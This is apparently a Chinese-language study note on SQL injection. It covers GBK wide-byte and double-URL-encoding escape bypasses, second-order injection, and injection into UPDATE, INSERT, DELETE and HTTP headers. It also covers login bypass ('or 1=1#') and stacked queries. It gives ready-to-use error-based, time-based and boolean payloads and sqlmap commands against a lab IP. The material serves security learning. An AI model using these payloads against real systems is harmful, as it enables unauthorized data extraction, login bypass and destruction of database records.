其他 SQL 注入漏洞
宽字节注入
前提
宽字节注入是一种针对特定数据库编码配置的 SQL 注入攻击方式,通常发生在以下场景:
- 服务器对特殊字符进行转义:服务器使用类似
mysqli_real_escape_string
的函数对用户输入中的单引号 ('
) 或双引号 ("
) 进行转义,添加反斜杠 (\
) 以防止直接 SQL 注入。 - 数据库客户端编码为宽字节字符集:数据库连接设置了宽字节字符集(如 GBK 或 GB2312),例如在 MySQL 中通过
SET character_set_client=gbk
设置。这种编码允许某些字符被解析为多字节字符,从而可能绕过转义机制。
- 服务器对特殊字符进行转义:服务器使用类似
利用方式
宽字节注入利用了宽字节字符集(如 GBK)对某些字符的编码特性。在 GBK 编码中,单引号 '
的 ASCII 值为 0x27
,而某些字符(如 %df
)与反斜杠 \
(ASCII 值 0x5c
)组合后,会被解析为一个合法的宽字节字符(如 0xdf5c
表示 運
),从而“吞噬”反斜杠,导致转义失效。
攻击者可以通过在输入中添加 %df%27
(即 %df'
)来绕过服务器对单引号的转义。例如:
- 假设用户输入
id=1%df%27
,服务器会对单引号转义为\'
,但%df%5c
(%5c
是反斜杠的 URL 编码)会被 GBK 解析为一个字符,单引号因此未被正确转义,注入成功。
示例 Payload:
id=1%df%27 and 1=1#
SQLMAP 测试方法
SQLMAP 默认不会自动检测宽字节注入漏洞,需要手动在参数后添加 %df%27
来触发漏洞:
sqlmap -u "http://192.168.85.99/widebyte.php?student_id=20210101%df%27"
#-u 指定目标 URL,添加 %df%27 来绕过转义
二次编码注入
前提
- 服务器对特殊字符进行转义:类似
mysqli_real_escape_string
,对单引号等特殊字符添加反斜杠。 - 服务器进行 URL 解码:应用程序对用户输入执行了
urldecode
或类似函数,导致编码后的字符被解码。 - 未正确处理多重编码:服务器未对二次编码(如
%2527
)进行充分检查。
利用方式
二次编码注入利用了服务器在处理 URL 编码时的疏漏。单引号 '
的 URL 编码为 %27
,若将 %27
本身的 URL 编码设置为 %2527
。如果服务器在处理输入时只进行一次 URL 解码,%2527
会被解码为 %27
,而在后续处理中,%27
可能被进一步解码为 '
,从而绕过转义。
示例 Payload:
id=20210101%2527 and 1=1#
SQLMAP
SQLMAP 默认无法直接检测二次编码注入,需手动在参数后添加 %2527
:
sqlmap -u "http://192.168.85.99/double_urlencode_sqli.php?student_id=20210101%2527"
#-u 指定目标 URL,添加 %2527 来绕过转义
二次注入
前提
二次注入(Secondary Injection)是一种特殊的 SQL 注入方式,发生在以下场景:
- 允许用户输入 SQL 特殊字符:应用程序未对用户输入进行充分过滤,允许包含单引号、双引号等字符。
- 输入存储到数据库:用户输入被存入数据库,且未被正确转义或参数化。
- 后续查询直接拼接数据:应用程序从数据库中取出数据并直接用于 SQL 查询,误认为这些数据是“安全的”。
利用方式
以用户注册和查询系统为例,攻击流程如下:
注册恶意用户:
- 攻击者注册一个用户名,包含 SQL 注入代码,例如
admin'--
。 - 应用程序将输入存入数据库或 session。
- 攻击者注册一个用户名,包含 SQL 注入代码,例如
触发二次注入:
用户登录后,系统从数据库取出用户名(
admin'--
)并直接拼接进 SQL 查询,例如:SELECT * FROM users WHERE username='admin'--' AND password='xxx';
--
注释了后续条件,导致查询返回所有用户数据。
Update 注入
隐患
Update 注入发生在 UPDATE
语句未正确处理用户输入,导致整个表的记录被意外修改。以下是常见的隐患:
逻辑 AND 导致全表更新为 1
# 用户输入:99" and 1=1#
# 原始 SQL:UPDATE students SET score="99" and 1=1# WHERE id="1";
# 实际执行:UPDATE students SET score="99" and 1=1;
# 解析:
# - 99" 查询正确,逻辑值为 1
# - 1=1 查询正确,逻辑值为 1
# - 1 AND 1 结果为 1
# - # 注释了 WHERE 条件,导致更新整个表
逻辑 AND 导致全表更新为 0
# 用户输入:99" and 1=2#
# 原始 SQL:UPDATE students SET score="99" and 1=2# WHERE id="1";
# 实际执行:UPDATE students SET score="99" and 1=2;
# 解析:
# - 99" 查询正确,逻辑值为 1
# - 1=2 查询错误,逻辑值为 0
# - 1 AND 0 结果为 0
# - # 注释了 WHERE 条件,导致更新整个表
逻辑 OR 导致全表更新为 1
# 用户输入:99" or 1=1#
# 原始 SQL:UPDATE students SET score="99" or 1=1# WHERE id="1";
# 实际执行:UPDATE students SET score="99" or 1=1;
# 解析:
# - 1=1 恒为真,逻辑值为 1
# - 1 OR 1 结果为 1
# - # 注释了 WHERE 条件,导致更新整个表
# 用户输入:99" or 1=2#
# 原始 SQL:UPDATE students SET score="99" or 1=2# WHERE id="1";
# 实际执行:UPDATE students SET score="99" or 1=2;
# 解析:
# - 1=2 恒为假,逻辑值为 0
# - 1 OR 0 结果为 1
# - # 注释了 WHERE 条件,导致更新整个表
测试闭合
无注释测试闭合
[!caution]
在测试 Update 注入时,需要谨慎选择 payload,慎用 and 或 or,避免意外修改所有数据。
# 用户输入:99" and 1="1
# 原始 SQL:UPDATE students SET score="99" and 1="1" WHERE id="1";
# 解析:
# - 不使用 # 注释,保留 WHERE 条件
# - 仅修改 id=1 的记录,安全测试闭合方式
order by 测试闭合
# 用户输入:99" order by 9#
# 原始 SQL:UPDATE students SET score="99" order by 9# WHERE id="1";
# 解析:
# - 如果报错“没有 9 列”,说明双引号闭合正确
利用
报错注入
通过构造报错语句,提取数据库信息:
# 用户输入:99" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 实际执行:UPDATE students SET score="99" and updatexml(1,concat(0x7e,(select database()),0x7e),1);
# 解析:
# - updatexml 报错,输出当前数据库名称
# - 0x7e 为 ~,用于包裹提取的信息
时间盲注
通过延时判断是否存在漏洞:
# 用户输入:99" and sleep(3) and "
# 实际执行:UPDATE students SET score="99" and sleep(3) and "" WHERE id="1";
# 解析:
# - sleep(3) 使查询延迟 3 秒
# - 根据响应时间判断注入是否成功
布尔盲注
通过逻辑判断提取信息:
# 用户输入:99" and length(database())=8 and "1
# 实际执行:UPDATE students SET score="99" and length(database())=8 and "1" WHERE id="1";
# 解析:
# - 判断数据库名称长度是否为 8
# - 不使用 #,避免影响全表
Insert 注入
隐患
Insert 注入会导致数据库中插入大量脏数据,可能影响系统正常功能。
测试闭合
- insert 注入一般不会使用注释
- insert 注入没有办法使用
order by
- 如果参数类型只能是字符串,没办法使用
or 1 = 1
或and 1 = 1
测试 - 如果使用时间盲注/布尔盲注,需要参数类型是数字,且需要使用
and
# 正常 SQL:INSERT INTO students (name, subject, score) VALUES ("zhangsan", "math", "90");
# 用户输入:zhangsan" and 1=1#
# 实际执行:INSERT INTO students (name, subject, score) VALUES ("zhangsan" and 1=1#, "math", "90");
# 解析:
# - # 注释导致括号不完整,触发语法错误
#上面这条sql语句,#把后面的内容注释了,导致括号不完整,产生报错
报错注入
# 用户输入:zhangsan" or updatexml(1,concat(0x7e,(select database()),0x7e),1) or "
# 实际执行:INSERT INTO students (name, subject, score) VALUES ("zhangsan" or updatexml(1,concat(0x7e,(select database()),0x7e),1) or "", "math", "90");
# 解析:
# - updatexml 报错,输出数据库名称
时间盲注
# 用户输入:99" and sleep(3) and "
# 实际执行:INSERT INTO students (name, subject, score) VALUES ("99" and sleep(3) and "", "math", "90");
# 解析:
# - sleep(3) 延迟 3 秒,用于判断注入点
Delete 注入
[!caution]
挖漏洞中,有 "删除" 字样的功能,尽量不要测
隐患
Delete 注入可能导致数据被意外删除,尤其是使用 OR
条件时,可能删除整个表的数据。
1" or 1=1 #
利用
报错注入
# 用户输入:2" or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 实际执行:DELETE FROM students WHERE id="2" or updatexml(1,concat(0x7e,(select database()),0x7e),1)#;
# 解析:
# - updatexml 报错,输出数据库名称
时间盲注
# 用户输入:2" and if((length(DATABASE())>1),SLEEP(5),NULL)#
# 实际执行:DELETE FROM students WHERE id="2" and if((length(DATABASE())>1),SLEEP(5),NULL)#;
# 解析:
# - if 语句判断数据库名称长度,延迟 5 秒
Header 注入
Header 注入通常涉及 HTTP 请求头(如 User-Agent、Referer、Cookie),常见于 Insert 型注入。
UA 注入
攻击者通过修改 User-Agent 头注入 SQL 语句。
报错注入
1' or updatexml(1,concat(0x7e,(select version()),0x7e),1) or '
1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) or '
时间盲注
1' and if ((length(database())>1),sleep(5),NULL) and '
Referer 注入
类似 UA 注入,通过修改 Referer 头注入。
Cookie 注入
通过修改 Cookie 值注入 SQL 语句,方法与 UA 注入类似。
万能密码
万能密码是一种针对登录系统的 SQL 注入方式,通过构造特殊的用户名绕过密码验证。
示例 Payload:
- 用户名:
1' or 1=1#
- 密码:任意(如
123
)
实际 SQL:
# 原始 SQL:SELECT * FROM users WHERE username='1' or 1=1#' AND password='123';
# 解析:
# - 1=1 恒为真,# 注释密码验证
# - 登录成功
堆叠注入
堆叠注入(Stacked Queries)通过分号 ;
执行多条 SQL 语句。
示例 Payload:
# 用户输入:1'; SHOW DATABASES; SELECT host FROM mysql.user;······
# 实际执行:SELECT * FROM students WHERE id='1'; SHOW DATABASES; SELECT host FROM mysql.user;·······;
# 解析:
# - 执行多条 SQL 语句,获取数据库列表和用户信息
支持情况
- PHP:
mysqli_multi_query
支持堆叠注入,但实际生产环境中很少使用。 - ASP + MSSQL:默认支持堆叠注入。
- Java/Python/Go:默认不支持堆叠注入。